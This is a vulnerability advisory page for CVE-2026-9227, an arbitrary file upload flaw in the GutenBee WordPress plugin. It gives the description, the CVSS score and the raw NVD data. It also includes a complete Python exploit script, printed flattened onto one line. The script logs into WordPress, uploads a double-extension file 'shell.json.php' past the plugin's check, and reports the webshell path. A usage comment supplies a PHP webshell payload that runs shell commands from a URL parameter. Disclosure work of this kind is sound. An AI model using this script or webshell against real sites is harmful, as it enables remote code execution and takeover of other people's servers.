Security Vulnerability Report
中文
CVE-2026-9227 CVSS 8.8 HIGH

CVE-2026-9227

Published: 2026-05-28 08:16:38
Last Modified: 2026-05-28 13:45:25

Description

The GutenBee – Gutenberg Blocks plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.20.1 via the gutenbee_file_and_ext_json function. This is due to a flawed strpos() substring check that only verifies whether the filename contains the string '.json' rather than confirming the filename ends with a .json extension, allowing double-extension filenames like shell.json.php to bypass validation. This makes it possible for authenticated attackers, with author-level access and above, to upload files that may be executable, which makes remote code execution possible.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

GutenBee WordPress插件 <= 2.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-9227 PoC - GutenBee Arbitrary File Upload # Target: WordPress site with GutenBee plugin <= 2.20.1 def exploit(target_url, username, password, webshell_content): """ Exploit arbitrary file upload vulnerability in GutenBee plugin """ # Login to WordPress login_url = target_url + '/wp-login.php' session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') return False print('[+] Login successful') # Upload malicious file with double extension bypass upload_url = target_url + '/wp-admin/admin-ajax.php' # Bypass: shell.json.php passes strpos() check but is PHP file files = { 'file': ('shell.json.php', webshell_content, 'application/octet-stream') } data = { 'action': 'gutenbee_file_upload', 'function': 'gutenbee_file_and_ext_json' } resp = session.post(upload_url, files=files, data=data) if 'success' in resp.text or resp.status_code == 200: print('[+] File uploaded successfully') print(f'[+] Webshell path: {target_url}/wp-content/uploads/gutenbee/shell.json.php') return True else: print('[-] Upload failed') return False if __name__ == '__main__': print('CVE-2026-9227 GutenBee File Upload Exploit') # Usage example # target = 'http://target.com' # exploit(target, 'author', 'password', '<?php system($_GET["cmd"]); ?>')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9227", "sourceIdentifier": "[email protected]", "published": "2026-05-28T08:16:37.713", "lastModified": "2026-05-28T13:45:25.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GutenBee – Gutenberg Blocks plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.20.1 via the gutenbee_file_and_ext_json function. This is due to a flawed strpos() substring check that only verifies whether the filename contains the string '.json' rather than confirming the filename ends with a .json extension, allowing double-extension filenames like shell.json.php to bypass validation. This makes it possible for authenticated attackers, with author-level access and above, to upload files that may be executable, which makes remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/cssigniter/gutenbee/commit/bde934cdecf67a4de1d6548cc1fc6c59bc6690e5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.0/gutenbee.php#L570", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.0/gutenbee.php#L571", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.0/gutenbee.php#L579", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.1/gutenbee.php#L570", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.1/gutenbee.php#L571", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenbee/tags/2.20.1/gutenbee.php#L579", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3543574%40gutenbee&new=3543574%40gutenbee&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d20e8c9-975d-4e8c-8bea-50935853c7d4?source=cve", "source": "[email protected]"}]}}